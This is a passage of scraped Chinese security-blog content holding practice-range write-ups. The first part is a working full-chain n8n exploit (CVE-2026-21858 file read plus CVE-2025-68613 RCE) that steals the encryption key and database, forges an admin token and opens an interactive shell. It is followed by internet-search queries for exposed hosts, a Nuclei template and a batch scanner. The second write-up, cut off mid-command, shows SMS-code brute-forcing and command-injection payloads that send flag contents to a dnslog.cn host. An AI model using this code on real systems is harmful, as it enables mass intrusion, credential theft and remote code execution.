{\u0026#34;parameters\u0026#34;: {}, \u0026#34;name\u0026#34;: trigger_name, \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.manualTrigger\u0026#34;, 75 \u0026#34;typeVersion\u0026#34;: 1, \u0026#34;position\u0026#34;: randpos(), \u0026#34;id\u0026#34;: f\u0026#34;t-{randstr(12)}\u0026#34;}, 76 {\u0026#34;parameters\u0026#34;: {\u0026#34;values\u0026#34;: {\u0026#34;string\u0026#34;: [{\u0026#34;name\u0026#34;: result_var, \u0026#34;value\u0026#34;: payload_value}]}}, 77 \u0026#34;name\u0026#34;: rce_name, \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.set\u0026#34;, \u0026#34;typeVersion\u0026#34;: 2, 78 \u0026#34;position\u0026#34;: randpos(), \u0026#34;id\u0026#34;: f\u0026#34;r-{randstr(12)}\u0026#34;} 79 ] 80 connections = {trigger_name: {\u0026#34;main\u0026#34;: [[{\u0026#34;node\u0026#34;: rce_name, \u0026#34;type\u0026#34;: \u0026#34;main\u0026#34;, \u0026#34;index\u0026#34;: 0}]]}} 81 return nodes, connections, trigger_name, rce_name 82 83 # ========== Arbitrary File Read (CVE-2026-21858) ========== 84 85 def read_file(self, filepath: str, timeout: int = 30) -\u0026gt; bytes | None: 86 resp = self.session.post( 87 self.form_url, json=self._lfi_payload(filepath), 88 headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;}, timeout=timeout 89 ) 90 return resp.content if resp.ok and resp.content else None 91 92 def get_version(self) -\u0026gt; tuple[str, bool]: 93 resp = self._api(\u0026#34;GET\u0026#34;, \u0026#34;/rest/settings\u0026#34;, timeout=10) 94 version = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;versionCli\u0026#34;, \u0026#34;0.0.0\u0026#34;) if resp else \u0026#34;0.0.0\u0026#34; 95 major, minor = map(int, version.split(\u0026#34;.\u0026#34;)[:2]) 96 return version, major \u0026lt; 1 or (major == 1 and minor \u0026lt; 121) 97 98 def get_home(self) -\u0026gt; str | None: 99 data = self.read_file(\u0026#34;/proc/self/environ\u0026#34;) 100 if not data: 101 return None 102 for var in data.split(b\u0026#34;\\x00\u0026#34;): 103 if var.startswith(b\u0026#34;HOME=\u0026#34;): 104 return var.decode().split(\u0026#34;=\u0026#34;, 1)[1] 105 return None 106 107 def get_key(self, home: str) -\u0026gt; str | None: 108 data = self.read_file(f\u0026#34;{home}/.n8n/config\u0026#34;) 109 return json.loads(data).get(\u0026#34;encryptionKey\u0026#34;) if data else None 110 111 def get_db(self, home: str) -\u0026gt; bytes | None: 112 return self.read_file(f\u0026#34;{home}/.n8n/database.sqlite\u0026#34;, timeout=120) 113 114 def extract_admin(self, db: bytes) -\u0026gt; tuple[str, str, str] | None: 115 with tempfile.NamedTemporaryFile(suffix=\u0026#34;.db\u0026#34;) as f: 116 f.write(db) 117 f.flush() 118 conn = sqlite3.connect(f.name) 119 row = conn.execute(\u0026#34;SELECT id, email, password FROM user WHERE role=\u0026#39;global:owner\u0026#39; LIMIT 1\u0026#34;).fetchone() 120 conn.close() 121 return (row[0], row[1], row[2]) if row else None 122 123 def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -\u0026gt; str: 124 secret = hashlib.sha256(key[::2].encode()).hexdigest() 125 h = b64encode(hashlib.sha256(f\u0026#34;{email}:{pw_hash}\u0026#34;.encode()).digest()).decode()[:10] 126 self.admin_token = jwt.encode({\u0026#34;id\u0026#34;: uid, \u0026#34;hash\u0026#34;: h}, secret, \u0026#34;HS256\u0026#34;) 127 return self.admin_token 128 129 def verify_token(self) -\u0026gt; bool: 130 return self._api(\u0026#34;GET\u0026#34;, \u0026#34;/rest/users\u0026#34;, timeout=10) is not None 131 132 # ========== RCE (CVE-2025-68613) ========== 133 134 def rce(self, command: str) -\u0026gt; str | None: 135 nodes, connections, _, _ = self._build_nodes(command) 136 wf_name = f\u0026#34;wf-{randstr(16)}\u0026#34; 137 workflow = {\u0026#34;name\u0026#34;: wf_name, \u0026#34;active\u0026#34;: False, \u0026#34;nodes\u0026#34;: nodes, 138 \u0026#34;connections\u0026#34;: connections, \u0026#34;settings\u0026#34;: {}} 139 140 resp = self._api(\u0026#34;POST\u0026#34;, \u0026#34;/rest/workflows\u0026#34;, json=workflow, timeout=10) 141 if not resp: 142 return None 143 wf_id = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;id\u0026#34;) 144 if not wf_id: 145 return None 146 147 run_data = {\u0026#34;workflowData\u0026#34;: {\u0026#34;id\u0026#34;: wf_id, \u0026#34;name\u0026#34;: wf_name, \u0026#34;active\u0026#34;: False, 148 \u0026#34;nodes\u0026#34;: nodes, \u0026#34;connections\u0026#34;: connections, \u0026#34;settings\u0026#34;: {}}} 149 resp = self._api(\u0026#34;POST\u0026#34;, f\u0026#34;/rest/workflows/{wf_id}/run\u0026#34;, json=run_data, timeout=30) 150 if not resp: 151 self._api(\u0026#34;DELETE\u0026#34;, f\u0026#34;/rest/workflows/{wf_id}\u0026#34;, timeout=5) 152 return None 153 154 exec_id = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;executionId\u0026#34;) 155 result = self._get_result(exec_id) if exec_id else None 156 self._api(\u0026#34;DELETE\u0026#34;, f\u0026#34;/rest/workflows/{wf_id}\u0026#34;, timeout=5) 157 return result 158 159 def _get_result(self, exec_id: str) -\u0026gt; str | None: 160 resp = self._api(\u0026#34;GET\u0026#34;, f\u0026#34;/rest/executions/{exec_id}\u0026#34;, timeout=10) 161 if not resp: 162 return None 163 data = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;data\u0026#34;) 164 if not data: 165 return None 166 parsed = json.loads(data) 167 # Result is usually the last non-empty string 168 for item in reversed(parsed): 169 if isinstance(item, str) and len(item) \u0026gt; 3 and item not in (\u0026#34;success\u0026#34;, \u0026#34;error\u0026#34;): 170 return item.strip() 171 return None 172 173 # ========== Full Chain ========== 174 175 def pwn(self) -\u0026gt; bool: 176 p = log.progress(\u0026#34;HOME directory\u0026#34;) 177 home = self.get_home() 178 if not home: 179 return p.failure(\u0026#34;Not found\u0026#34;) or False 180 p.success(home) 181 182 p = log.progress(\u0026#34;Encryption key\u0026#34;) 183 key = self.get_key(home) 184 if not key: 185 return p.failure(\u0026#34;Failed\u0026#34;) or False 186 p.success(f\u0026#34;{key[:8]}...\u0026#34;) 187 188 p = log.progress(\u0026#34;Database\u0026#34;) 189 db = self.get_db(home) 190 if not db: 191 return p.failure(\u0026#34;Failed\u0026#34;) or False 192 p.success(f\u0026#34;{len(db)} bytes\u0026#34;) 193 194 p = log.progress(\u0026#34;Admin user\u0026#34;) 195 admin = self.extract_admin(db) 196 if not admin: 197 return p.failure(\u0026#34;Not found\u0026#34;) or False 198 uid, email, pw = admin 199 p.success(email) 200 201 p = log.progress(\u0026#34;Token forge\u0026#34;) 202 self.forge_token(key, uid, email, pw) 203 p.success(\u0026#34;OK\u0026#34;) 204 205 p = log.progress(\u0026#34;Admin access\u0026#34;) 206 if not self.verify_token(): 207 return p.failure(\u0026#34;Rejected\u0026#34;) or False 208 p.success(\u0026#34;GRANTED!\u0026#34;) 209 210 log.success(f\u0026#34;Cookie: n8n-auth={self.admin_token}\u0026#34;) 211 return True 212 213 214def parse_args(): 215 p = argparse.ArgumentParser(description=\u0026#34;n8n Ni8mare - Full Chain Exploit\u0026#34;) 216 p.add_argument(\u0026#34;url\u0026#34;, help=\u0026#34;Target URL (http://target:5678)\u0026#34;) 217 p.add_argument(\u0026#34;form\u0026#34;, help=\u0026#34;Form path (/form/upload)\u0026#34;) 218 p.add_argument(\u0026#34;--read\u0026#34;, metavar=\u0026#34;PATH\u0026#34;, help=\u0026#34;Read arbitrary file\u0026#34;) 219 p.add_argument(\u0026#34;--cmd\u0026#34;, metavar=\u0026#34;CMD\u0026#34;, help=\u0026#34;Execute single command\u0026#34;) 220 p.add_argument(\u0026#34;-o\u0026#34;, \u0026#34;--output\u0026#34;, metavar=\u0026#34;FILE\u0026#34;, help=\u0026#34;Save LFI output to file\u0026#34;) 221 return p.parse_args() 222 223 224def run_read(exploit: Ni8mare, path: str, output: str | None) -\u0026gt; None: 225 data = exploit.read_file(path) 226 if not data: 227 log.error(\u0026#34;File read failed\u0026#34;) 228 return 229 log.success(f\u0026#34;{len(data)} bytes\u0026#34;) 230 if output: 231 with open(output, \u0026#34;wb\u0026#34;) as f: 232 f.write(data) 233 log.success(f\u0026#34;Saved: {output}\u0026#34;) 234 return 235 print(data.decode()) 236 237 238def run_cmd(exploit: Ni8mare, cmd: str) -\u0026gt; None: 239 p = log.progress(\u0026#34;RCE\u0026#34;) 240 out = exploit.rce(cmd) 241 if not out: 242 p.failure(\u0026#34;Failed\u0026#34;) 243 return 244 p.success(\u0026#34;OK\u0026#34;) 245 print(f\u0026#34;\\n{out}\u0026#34;) 246 247 248def run_shell(exploit: Ni8mare) -\u0026gt; None: 249 log.info(\u0026#34;Interactive mode (type \u0026#39;exit\u0026#39; to quit)\u0026#34;) 250 while True: 251 try: 252 cmd = input(\u0026#34;\\033[91mn8n\\033[0m\u0026gt; \u0026#34;).strip() 253 except (EOFError, KeyboardInterrupt): 254 print() 255 return 256 if not cmd or cmd == \u0026#34;exit\u0026#34;: 257 return 258 out = exploit.rce(cmd) 259 if out: 260 print(out) 261 262 263def main(): 264 print(BANNER) 265 args = parse_args() 266 267 exploit = Ni8mare(args.url, args.form) 268 version, vuln = exploit.get_version() 269 log.info(f\u0026#34;Target: {exploit.form_url}\u0026#34;) 270 log.info(f\u0026#34;Version: {version} ({\u0026#39;VULN\u0026#39; if vuln else \u0026#39;SAFE\u0026#39;})\u0026#34;) 271 272 if args.read: 273 run_read(exploit, args.read, args.output) 274 return 275 276 if not exploit.pwn(): 277 return 278 279 if args.cmd: 280 run_cmd(exploit, args.cmd) 281 return 282 283 run_shell(exploit) 284 285 286if __name__ == \u0026#34;__main__\u0026#34;: 287 main() flag{3b0788b1fb424583ad8bdebd080fd843}\n搜索语法 n8n 平台远程代码执行漏洞（CVE-2025-68613）ZoomEye搜索app=\u0026ldquo;n8n\u0026rdquo; https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i hunter搜索语法\nweb.icon==\u0026#34;8ad475e8b10ff8bcff648ae6d49c88ae\u0026#34; web.icon=\u0026#34;8ad475e8b10ff8bcff648ae6d49c88ae\u0026#34;\u0026amp;\u0026amp;icp.number!==\u0026#34;\u0026#34;\u0026amp;\u0026amp;icp.name!=\u0026#34;公司\u0026#34;\u0026amp;\u0026amp;icp.name!=\u0026#34;工作室\u0026#34;\u0026amp;\u0026amp;icp.type!=\u0026#34;个人\u0026#34; Nuclei模板 1id: CVE-2026-21858-lfi-fixed 2 3info: 4 name: n8n Arbitrary File Read (CVE-2026-21858) - Active Check 5 author: customized 6 severity: critical 7 description: | 8 Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger. 9 tags: cve,cve2026,n8n,lfi 10 11requests: 12 - method: POST 13 path: 14 - \u0026#34;{{BaseURL}}/form/vulnerable-form\u0026#34; 15 - \u0026#34;{{BaseURL}}/webhook/vulnerable-form\u0026#34; 16 - \u0026#34;{{BaseURL}}/form/upload\u0026#34; 17 - \u0026#34;{{BaseURL}}/webhook/upload\u0026#34; 18 # 如果你知道其他特定路径，可以在这里添加 19 20 headers: 21 Content-Type: \u0026#34;application/json\u0026#34; 22 23 # 这里的 JSON 必须是压缩的一行，严格模仿 Python 脚本的 Payload 24 body: \u0026#39;{\u0026#34;data\u0026#34;:{},\u0026#34;files\u0026#34;:{\u0026#34;check_vuln\u0026#34;:{\u0026#34;filepath\u0026#34;:\u0026#34;/etc/passwd\u0026#34;,\u0026#34;originalFilename\u0026#34;:\u0026#34;check.bin\u0026#34;,\u0026#34;mimetype\u0026#34;:\u0026#34;application/octet-stream\u0026#34;,\u0026#34;size\u0026#34;:1024}}}\u0026#39; 25 26 matchers-condition: and 27 matchers: 28 - type: regex 29 part: body 30 regex: 31 - \u0026#34;root:.*:0:0:\u0026#34; 32 33 - type: status 34 status: 35 - 200 把上面的代码保存为CVE-2026-21858-lfi.yaml文件，然后执行如下命令。\n1nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml 批量测试脚本 scan_n8n.py内容如下\n1#!/usr/bin/env python3 2import requests 3import argparse 4import urllib3 5import concurrent.futures 6from urllib.parse import urljoin 7import sys 8 9# 禁用 SSL 警告 10urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 11 12# 颜色代码 13GREEN = \u0026#34;\\033[92m\u0026#34; 14RED = \u0026#34;\\033[91m\u0026#34; 15YELLOW = \u0026#34;\\033[93m\u0026#34; 16RESET = \u0026#34;\\033[0m\u0026#34; 17 18def get_lfi_payload(filepath=\u0026#34;/etc/passwd\u0026#34;): 19 \u0026#34;\u0026#34;\u0026#34;构造恶意 JSON Payload\u0026#34;\u0026#34;\u0026#34; 20 return { 21 \u0026#34;data\u0026#34;: {}, 22 \u0026#34;files\u0026#34;: { 23 \u0026#34;check_vuln\u0026#34;: { 24 \u0026#34;filepath\u0026#34;: filepath, 25 \u0026#34;originalFilename\u0026#34;: \u0026#34;test.bin\u0026#34;, 26 \u0026#34;mimetype\u0026#34;: \u0026#34;application/octet-stream\u0026#34;, 27 \u0026#34;size\u0026#34;: 1024 28 } 29 } 30 } 31 32def check_vulnerability(target_url, form_path): 33 \u0026#34;\u0026#34;\u0026#34;检测单个目标\u0026#34;\u0026#34;\u0026#34; 34 # 确保 URL 格式正确 35 if not target_url.startswith(\u0026#34;http\u0026#34;): 36 target_url = f\u0026#34;http://{target_url}\u0026#34; 37 38 full_url = urljoin(target_url, form_path) 39 40 try: 41 # 发送 LFI 请求 42 response = requests.post( 43 full_url, 44 json=get_lfi_payload(), 45 headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;}, 46 timeout=10, 47 verify=False 48 ) 49 50 # 检查 /etc/passwd 的特征字符 51 if response.status_code == 200 and \u0026#34;root:x:0:0\u0026#34; in response.text: 52 print(f\u0026#34;[{GREEN}VULN{RESET}] {full_url} - Successfully read /etc/passwd\u0026#34;) 53 return full_url 54 elif response.status_code == 404: 55 # 这里的 404 可能意味着 Form ID 不对，而不是 n8n 不存在 56 print(f\u0026#34;[{YELLOW}WARN{RESET}] {full_url} - Form endpoint not found (404)\u0026#34;) 57 else: 58 print(f\u0026#34;[{RED}FAIL{RESET}] {full_url} - Not vulnerable or unknown response (Code: {response.status_code})\u0026#34;) 59 60 except requests.exceptions.RequestException as e: 61 print(f\u0026#34;[{RED}ERR {RESET}] {target_url} - Connection failed: {str(e)[:50]}\u0026#34;) 62 63 return None 64 65def main(): 66 parser = argparse.ArgumentParser(description=\u0026#34;Batch Scanner for CVE-2026-21858 (n8n LFI)\u0026#34;) 67 parser.add_argument(\u0026#34;-f\u0026#34;, \u0026#34;--file\u0026#34;, help=\u0026#34;File containing list of target URLs\u0026#34;, required=True) 68 parser.add_argument(\u0026#34;-p\u0026#34;, \u0026#34;--path\u0026#34;, help=\u0026#34;Form path to test (default: /form/vulnerable-form)\u0026#34;, default=\u0026#34;/form/vulnerable-form\u0026#34;) 69 parser.add_argument(\u0026#34;-t\u0026#34;, \u0026#34;--threads\u0026#34;, help=\u0026#34;Number of threads\u0026#34;, type=int, default=10) 70 parser.add_argument(\u0026#34;-o\u0026#34;, \u0026#34;--output\u0026#34;, help=\u0026#34;File to save vulnerable URLs\u0026#34;, default=\u0026#34;vuln_hosts.txt\u0026#34;) 71 72 args = parser.parse_args() 73 74 targets = [] 75 try: 76 with open(args.file, \u0026#34;r\u0026#34;) as f: 77 targets = [line.strip() for line in f if line.strip()] 78 except FileNotFoundError: 79 print(f\u0026#34;Error: File {args.file} not found.\u0026#34;) 80 sys.exit(1) 81 82 print(f\u0026#34;[*] Loaded {len(targets)} targets.\u0026#34;) 83 print(f\u0026#34;[*] Testing Form Path: {args.path}\u0026#34;) 84 print(\u0026#34;[*] Starting scan...\\n\u0026#34;) 85 86 vulnerable_hosts = [] 87 88 # 多线程扫描 89 with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: 90 futures = {executor.submit(check_vulnerability, url, args.path): url for url in targets} 91 92 for future in concurrent.futures.as_completed(futures): 93 result = future.result() 94 if result: 95 vulnerable_hosts.append(result) 96 97 # 保存结果 98 if vulnerable_hosts: 99 with open(args.output, \u0026#34;w\u0026#34;) as f: 100 for url in vulnerable_hosts: 101 f.write(url + \u0026#34;\\n\u0026#34;) 102 print(f\u0026#34;\\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}\u0026#34;) 103 else: 104 print(f\u0026#34;\\n[{RED}FINISHED{RESET}] No vulnerable hosts found.\u0026#34;) 105 106if __name__ == \u0026#34;__main__\u0026#34;: 107 main() 准备一个 target.txt，每行一个 http://ip:port。\n1python .\\scan_n8n.py -f .\\target.txt -t 20 🔗 参考资源 官方公告 https://www.cve.org/CVERecord?id=CVE-2025-68613 https://www.cve.org/CVERecord?id=CVE-2026-21858\n技术分析 https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79 https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000 https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316 https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp Cyera Research - Ni8mare Full Write-up - Original research by Dor Attias GHSA-v4pr-fm98-w9pg - CVE-2026-21858 GHSA-v98v-ff95-f3cp - CVE-2025-68613 Nuclei Template CVE-2025-68613 LeakIX Search Results - Exposed vulnerable instances Formidable - \u0026ldquo;The library, not the song\u0026rdquo; (thanks Cyera for the laugh) PoC/Exploit n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613 CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2026-01-14T21:48:55+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/%E5%A5%BD%E9%9D%B6%E5%9C%BA-n8n-cve-2026-21858-cve-2025-68613-wp/","title":"好靶场-n8n-CVE-2026-21858+CVE-2025-68613"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\n学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：\n🔗 入口：http://www.loveli.com.cn/see_bug_one?id=571\n✅ 邀请码：48ffd1d7eba24bf4\n🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇\n漏洞发现过程 1. 初步分析 访问目标网站，发现是一个短信验证码登录页面。页面有两个主要接口：\n/send - 发送验证码 /login - 验证登录 Question 检查这个网页的代码有没有漏洞，这是个靶机，如果有告诉我利用方式和脚本\n分析这个登录页面的代码，我发现了几个潜在的安全漏洞：\n查看前端代码，发现验证码只有4位数字，存在明显的暴力破解漏洞。\n2. 验证码爆破 编写Python脚本进行验证码爆破：\n1import requests 2import time 3 4BASE_URL = \u0026#34;http://iuuga86.haobachang.loveli.com.cn:8888\u0026#34; 5 6def send_code(phone): 7 requests.post(f\u0026#34;{BASE_URL}/send\u0026#34;, json={\u0026#34;phone\u0026#34;: phone}) 8 9def brute_force_code(phone): 10 send_code(phone) 11 time.sleep(2) 12 13 for code_num in range(10000): 14 code = f\u0026#34;{code_num:04d}\u0026#34; 15 resp = requests.post( 16 f\u0026#34;{BASE_URL}/login\u0026#34;, 17 json={\u0026#34;phone\u0026#34;: phone, \u0026#34;code\u0026#34;: code} 18 ) 19 result = resp.json() 20 21 if result.get(\u0026#39;success\u0026#39;): 22 print(f\u0026#34;[+] 验证码: {code}\u0026#34;) 23 return code 24 25 if code_num % 100 == 0: 26 print(f\u0026#34;[*] 进度: {code_num}/10000\u0026#34;, end=\u0026#39;\\r\u0026#39;) 27 28brute_force_code(\u0026#34;18888888888\u0026#34;) 成功爆破出验证码 2898，但登录后提示：\u0026ldquo;恭喜登录成功了，但是登录成功了也没有Flag\u0026rdquo;。\n玩呢？啊？\n3. 命令注入测试 结合题目提示\u0026quot;采购的工具\u0026quot;和\u0026quot;短信验证码\u0026quot;标签，怀疑后端可能直接将手机号参数拼接到系统命令中。\n测试Sleep命令注入：\n1import requests 2import time 3 4BASE_URL = \u0026#34;http://iuuga86.haobachang.loveli.com.cn:8888\u0026#34; 5 6# 测试sleep命令 7start = time.time() 8resp = requests.post( 9 f\u0026#34;{BASE_URL}/send\u0026#34;, 10 json={\u0026#34;phone\u0026#34;: \u0026#34;18888888888; sleep 5\u0026#34;} 11) 12elapsed = time.time() - start 13 14print(f\u0026#34;响应时间: {elapsed:.2f}秒\u0026#34;) 发现Burp里面修改手机号后面加sleep命令，网页确实等待了5秒后才响应。\n结果：响应时间约5秒，确认存在命令注入漏洞！\n使用Burp Suite手动测试：\n1POST /send HTTP/1.1 2Host: iuuga86.haobachang.loveli.com.cn:8888 3Content-Type: application/json 4 5{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; sleep 5\u0026#34;} 响应时间明显延迟5秒，证实了命令注入漏洞的存在。\n4. 尝试外带数据（失败） 由于命令执行结果不会回显到HTTP响应中，这是典型的盲命令注入。首先尝试使用DNS外带数据。\nDNSLog外带尝试：\n访问 http://dnslog.cn 获取临时域名：g7nqkk.dnslog.cn\n测试网络连通性：\n1POST /send HTTP/1.1 2Host: iuuga86.haobachang.loveli.com.cn:8888 3Content-Type: application/json 4 5{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; ping -c 1 g7nqkk.dnslog.cn\u0026#34;} 尝试外带flag： 1{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; curl `cat /flag`.g7nqkk.dnslog.cn\u0026#34;} 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; ping -c 1 `cat /flag`.g7nqkk.dnslog.cn\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; nslookup `cat /flag`.g7nqkk.dnslog.cn\u0026#34;} 结果：DNSLog没有收到任何记录，说明靶机无法访问外网或DNS被限制。 放轻松，DNS弹不出来是正常的。\n5. 探测Web目录结构 既然外带不通，尝试将命令执行结果写入到web可访问的目录中。\n探测当前工作目录：\n1import requests 2import time 3 4BASE_URL = \u0026#34;http://iuuga86.haobachang.loveli.com.cn:8888\u0026#34; 5 6print(\u0026#34;[*] 目标: 将 /tmp/flag.txt 写入到web可访问目录\\n\u0026#34;) 7 8# 首先找出当前工作目录 9print(\u0026#34;[*] 步骤1: 探测当前工作目录...\u0026#34;) 10probe_commands = [ 11 \u0026#34;pwd \u0026gt; /tmp/pwd.txt\u0026#34;, 12 \u0026#34;ls -la \u0026gt; /tmp/ls.txt\u0026#34;, 13 \u0026#34;echo $(pwd) \u0026gt; /tmp/path.txt\u0026#34;, 14] 15 16for cmd in probe_commands: 17 payload = f\u0026#34;18888888888; {cmd}\u0026#34; 18 requests.post(f\u0026#34;{BASE_URL}/send\u0026#34;, json={\u0026#34;phone\u0026#34;: payload}, timeout=5) 19 time.sleep(0.3) 20 21# 尝试多种路径写入1.txt 22print(\u0026#34;\\n[*] 步骤2: 尝试将flag写入到1.txt...\u0026#34;) 23 24write_commands = [ 25 # 直接写到当前目录 26 \u0026#34;cat /tmp/flag.txt \u0026gt; 1.txt\u0026#34;, 27 \u0026#34;cat /tmp/flag.txt \u0026gt; ./1.txt\u0026#34;, 28 \u0026#34;cp /tmp/flag.txt 1.txt\u0026#34;, 29 \u0026#34;cp /tmp/flag.txt ./1.txt\u0026#34;, 30 31 # 写到可能的web根目录 32 \u0026#34;cat /tmp/flag.txt \u0026gt; /app/1.txt\u0026#34;, 33 \u0026#34;cat /tmp/flag.txt \u0026gt; /app/static/1.txt\u0026#34;, 34 \u0026#34;cat /tmp/flag.txt \u0026gt; ./static/1.txt\u0026#34;, 35 \u0026#34;cat /tmp/flag.txt \u0026gt; static/1.txt\u0026#34;, 36 37 # 尝试templates目录 38 \u0026#34;cat /tmp/flag.txt \u0026gt; /app/templates/1.txt\u0026#34;, 39 \u0026#34;cat /tmp/flag.txt \u0026gt; ./templates/1.txt\u0026#34;, 40 \u0026#34;cat /tmp/flag.txt \u0026gt; templates/1.txt\u0026#34;, 41] 42 43for cmd in write_commands: 44 payload = f\u0026#34;18888888888; {cmd}\u0026#34; 45 try: 46 requests.post(f\u0026#34;{BASE_URL}/send\u0026#34;, json={\u0026#34;phone\u0026#34;: payload}, timeout=5) 47 print(f\u0026#34; ✓ 执行: {cmd}\u0026#34;) 48 time.sleep(0.3) 49 except: 50 print(f\u0026#34; ✗ 失败: {cmd}\u0026#34;) 51 52# 尝试访问所有可能的路径 53print(\u0026#34;\\n[*] 步骤3: 尝试访问1.txt...\u0026#34;) 54 55possible_paths = [ 56 \u0026#34;/1.txt\u0026#34;, 57 \u0026#34;/static/1.txt\u0026#34;, 58 \u0026#34;/templates/1.txt\u0026#34;, 59 \u0026#34;/app/1.txt\u0026#34;, 60 \u0026#34;/app/static/1.txt\u0026#34;, 61 \u0026#34;/app/templates/1.txt\u0026#34;, 62] 63 64flag_found = False 65 66for path in possible_paths: 67 try: 68 resp = requests.get(f\u0026#34;{BASE_URL}{path}\u0026#34;, timeout=3) 69 if resp.status_code == 200 and len(resp.content) \u0026gt; 0: 70 print(f\u0026#34;\\n{\u0026#39;=\u0026#39;*60}\u0026#34;) 71 print(f\u0026#34;[!!!] 成功找到: {BASE_URL}{path}\u0026#34;) 72 print(f\u0026#34;{\u0026#39;=\u0026#39;*60}\u0026#34;) 73 print(f\u0026#34;FLAG内容: {resp.text}\u0026#34;) 74 print(f\u0026#34;{\u0026#39;=\u0026#39;*60}\u0026#34;) 75 flag_found = True 76 break 77 else: 78 print(f\u0026#34; ✗ {path} - 状态码: {resp.status_code}\u0026#34;) 79 except Exception as e: 80 print(f\u0026#34; ✗ {path} - 无法访问\u0026#34;) 81 82if not flag_found: 83 print(\u0026#34;\\n[!] 未能直接访问到文件\u0026#34;) 84 print(\u0026#34;[*] 尝试其他方法...\\n\u0026#34;) 85 86 # 方法2: 创建HTML文件嵌入flag 87 print(\u0026#34;[*] 方法2: 创建HTML文件...\u0026#34;) 88 html_commands = [ 89 \u0026#34;echo \u0026#39;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026lt;pre\u0026gt;\u0026#39; \u0026gt; 1.html \u0026amp;\u0026amp; cat /tmp/flag.txt \u0026gt;\u0026gt; 1.html \u0026amp;\u0026amp; echo \u0026#39;\u0026lt;/pre\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#39; \u0026gt;\u0026gt; 1.html\u0026#34;, 90 \u0026#34;cat /tmp/flag.txt \u0026gt; /app/static/1.html\u0026#34;, 91 \u0026#34;cat /tmp/flag.txt \u0026gt; ./static/1.html\u0026#34;, 92 ] 93 94 for cmd in html_commands: 95 payload = f\u0026#34;18888888888; {cmd}\u0026#34; 96 requests.post(f\u0026#34;{BASE_URL}/send\u0026#34;, json={\u0026#34;phone\u0026#34;: payload}, timeout=5) 97 time.sleep(0.3) 98 99 html_paths = [\u0026#34;/1.html\u0026#34;, \u0026#34;/static/1.html\u0026#34;] 100 for path in html_paths: 101 try: 102 resp = requests.get(f\u0026#34;{BASE_URL}{path}\u0026#34;) 103 if resp.status_code == 200: 104 print(f\u0026#34;\\n[!!!] HTML方式成功: {BASE_URL}{path}\u0026#34;) 105 print(f\u0026#34;内容: {resp.text}\u0026#34;) 106 flag_found = True 107 break 108 except: 109 pass 110 111if not flag_found: 112 # 方法3: 尝试符号链接 113 print(\u0026#34;\\n[*] 方法3: 尝试创建符号链接...\u0026#34;) 114 link_commands = [ 115 \u0026#34;ln -sf /tmp/flag.txt /app/static/1.txt\u0026#34;, 116 \u0026#34;ln -sf /tmp/flag.txt ./static/1.txt\u0026#34;, 117 \u0026#34;ln -sf /tmp/flag.txt /app/1.txt\u0026#34;, 118 \u0026#34;ln -sf /tmp/flag.txt ./1.txt\u0026#34;, 119 ] 120 121 for cmd in link_commands: 122 payload = f\u0026#34;18888888888; {cmd}\u0026#34; 123 requests.post(f\u0026#34;{BASE_URL}/send\u0026#34;, json={\u0026#34;phone\u0026#34;: payload}, timeout=5) 124 print(f\u0026#34; ✓ 执行: {cmd}\u0026#34;) 125 time.sleep(0.3) 126 127 print(\u0026#34;\\n[*] 再次尝试访问...\u0026#34;) 128 for path in possible_paths: 129 try: 130 resp = requests.get(f\u0026#34;{BASE_URL}{path}\u0026#34;) 131 if resp.status_code == 200 and len(resp.content) \u0026gt; 0: 132 print(f\u0026#34;\\n[!!!] 符号链接成功: {BASE_URL}{path}\u0026#34;) 133 print(f\u0026#34;内容: {resp.text}\u0026#34;) 134 break 135 except: 136 pass 1POST /send HTTP/1.1 2Host: iuuga86.haobachang.loveli.com.cn:8888 3Content-Type: application/json 4 5{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; pwd \u0026gt; /app/static/test.txt\u0026#34;} 访问 http://iuuga86.haobachang.loveli.com.cn:8888/static/test.txt\n结果：\n/app 成功！确认当前工作目录为 /app，且 /app/static 目录可通过web访问。\n探测目录结构：\n1{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; ls -la /app 